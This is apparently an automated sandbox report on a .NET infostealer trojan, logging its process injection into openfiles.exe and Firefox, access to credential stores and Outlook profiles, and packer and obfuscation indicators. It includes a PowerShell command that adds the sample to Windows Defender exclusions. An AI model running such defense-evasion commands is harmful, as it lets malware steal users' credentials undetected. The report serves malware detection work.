Source: IETC-24017.exe, 00000000.00000002.1682805496.000000000098E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs IETC-24017.exe
Source: IETC-24017.exe, 00000003.00000002.1822408651.00000000018FD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs IETC-24017.exe
Source: IETC-24017.exe, 00000003.00000002.1821955897.000000000138E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameopnfiles.exej% vs IETC-24017.exe
Source: IETC-24017.exe, 00000003.00000002.1821955897.0000000001368000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameopnfiles.exej% vs IETC-24017.exe
Source: IETC-24017.exe	Binary or memory string: OriginalFilenameWyjV.exe@ vs IETC-24017.exe

Source: IETC-24017.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: IETC-24017.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.IETC-24017.exe.6d90000.3.raw.unpack, id.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.IETC-24017.exe.371e790.1.raw.unpack, id.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, sPymH4i2o29WVBQPb7.cs	Security API names: _0020.SetAccessControl
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, sPymH4i2o29WVBQPb7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, sPymH4i2o29WVBQPb7.cs	Security API names: _0020.AddAccessRule
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, Iht7kKNJwU57iwhQqv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/7@18/14

Source: C:\Users\user\Desktop\IETC-24017.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IETC-24017.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kll1lkb0.amr.ps1

Source: IETC-24017.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: IETC-24017.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\IETC-24017.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\IETC-24017.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: openfiles.exe, 00000007.00000003.2006355424.0000000002BCB000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.2006245399.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4123887775.0000000002BCB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: IETC-24017.exe

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\IETC-24017.exe "C:\Users\user\Desktop\IETC-24017.exe"
Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\IETC-24017.exe"
Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Users\user\Desktop\IETC-24017.exe "C:\Users\user\Desktop\IETC-24017.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\IETC-24017.exe"	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Process created: C:\Users\user\Desktop\IETC-24017.exe "C:\Users\user\Desktop\IETC-24017.exe"	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\IETC-24017.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\openfiles.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains method to dynamically call methods (often used by packers)

Source: IETC-24017.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: IETC-24017.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: IETC-24017.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: WyjV.pdb source: IETC-24017.exe
Source:	Binary string: OpnFiles.pdb source: IETC-24017.exe, 00000003.00000002.1821955897.0000000001368000.00000004.00000020.00020000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000003.1908291913.0000000001232000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UFUUPGsATdE.exe, 00000006.00000002.4124119366.0000000000D1E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: IETC-24017.exe, 00000003.00000002.1822408651.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.1822081128.00000000045D8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004930000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004ACE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.1824349392.0000000004789000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: IETC-24017.exe, IETC-24017.exe, 00000003.00000002.1822408651.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 00000007.00000003.1822081128.00000000045D8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004930000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000002.4124808609.0000000004ACE000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 00000007.00000003.1824349392.0000000004789000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: OpnFiles.pdbGCTL source: IETC-24017.exe, 00000003.00000002.1821955897.0000000001368000.00000004.00000020.00020000.00000000.sdmp, UFUUPGsATdE.exe, 00000006.00000003.1908291913.0000000001232000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WyjV.pdbSHA256H source: IETC-24017.exe

Data Obfuscation

Source: 0.2.IETC-24017.exe.6d90000.3.raw.unpack, id.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.IETC-24017.exe.371e790.1.raw.unpack, id.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: IETC-24017.exe, LogInGUI.cs	.Net Code: InitializeComponent contains xor as well as GetObject
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, sPymH4i2o29WVBQPb7.cs	.Net Code: NoFdbL1XQW System.Reflection.Assembly.Load(byte[])
Source: 6.2.UFUUPGsATdE.exe.585cd14.1.raw.unpack, LogInGUI.cs	.Net Code: InitializeComponent contains xor as well as GetObject
Source: 7.2.openfiles.exe.4f5cd14.2.raw.unpack, LogInGUI.cs	.Net Code: InitializeComponent contains xor as well as GetObject
Source: 11.2.firefox.exe.2715cd14.0.raw.unpack, LogInGUI.cs	.Net Code: InitializeComponent contains xor as well as GetObject

Source: IETC-24017.exe

Static PE information: 0xA1FAACB2 [Sat Feb 12 05:46:26 2056 UTC]

Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_025CF362 push cs; retf	0_2_025CF395
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_025CF3F0 push esp; iretd	0_2_025CF3F1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_04D1F4D7 pushfd ; iretd	0_2_04D1F4E6
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06ECC3DE push esp; retf	0_2_06ECC3DF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 0_2_06EC5931 push 200516F3h; iretd	0_2_06EC593D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0041A8C6 push eax; iretd	3_2_0041A8C7
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040214D push 353832D5h; retf	3_2_00402152
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040D97D push ss; retf	3_2_0040D9A4
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040D98A push ss; retf	3_2_0040D9A4
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040DAFD push esp; retf	3_2_0040DAFC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040DA96 push esp; retf	3_2_0040DAFC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_004032B0 push eax; ret	3_2_004032B2
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040DAB1 push esp; retf	3_2_0040DAFC
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00417B70 pushfd ; iretd	3_2_00417B71
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00401B0A push cs; iretd	3_2_00401B0B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00404BD0 push AECA29B3h; iretd	3_2_00404BD5
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_004183E9 push eax; retf	3_2_004183EA
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00417401 push ebx; ret	3_2_00417416
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_00413D95 push 95C026B5h; iretd	3_2_00413D9B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0041865C push edx; retf	3_2_0041865D
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0041767F push FFFFFFCEh; retf	3_2_00417681
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040BE09 push ebp; ret	3_2_0040BE0A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_004146EC pushad ; ret	3_2_004146ED
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0040D7E9 push cs; ret	3_2_0040D7F3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018009AD push ecx; mov dword ptr [esp], ecx	3_2_018009B6
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CB774A push AECA29B3h; iretd	6_2_07CB774F
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC9F7B push ebx; ret	6_2_07CC9F90
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CCA6EA pushfd ; iretd	6_2_07CCA6EB
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CCD440 push eax; iretd	6_2_07CCD441
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC83CD push ebp; ret	6_2_07CC83CE
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe	Code function: 6_2_07CC8A2C push edx; iretd	6_2_07CC8A48

Source: IETC-24017.exe

Static PE information: section name: .text entropy: 7.942883165317064

Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, VAg96iFHAfltmo8833.cs	High entropy of concatenated method names: 'hw80JeyWFf', 'p8I0Gb94PO', 'zNy0PsYrXS', 'i98PKE1AG9', 'EfBPzKXdJf', 'acy091klGH', 'wIN075qTHS', 'YF10qMHxPb', 'knU0TdGcTN', 'ohN0dLxLQN'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, sPymH4i2o29WVBQPb7.cs	High entropy of concatenated method names: 'I3XTL9pD5Z', 'wQnTJ94mdi', 'pZKTarRoOL', 'LGiTGOQ8xa', 'FHeTCPCcsL', 'NXlTPuiEOe', 'ekBT0Dx10e', 'liFTidJVTu', 'GOwToTlwJ3', 'kv1TRuuoDH'
Source: 0.2.IETC-24017.exe.74e0000.4.raw.unpack, hy5jhq2XPvGJZWw6EX.cs	High entropy of concatenated method names: 'QGGIHVWJmK', 'Ad6ISWQRvC', 'gK6I4RGcqP', 'VQcIc4k8ZX', 'PwiIWDLFv6', 'UvHIwSHEIr', 'HceIFFHJmN', 'oPAIuhByWK', 'VS8IEQPOey', 'D11IQvuqfu'
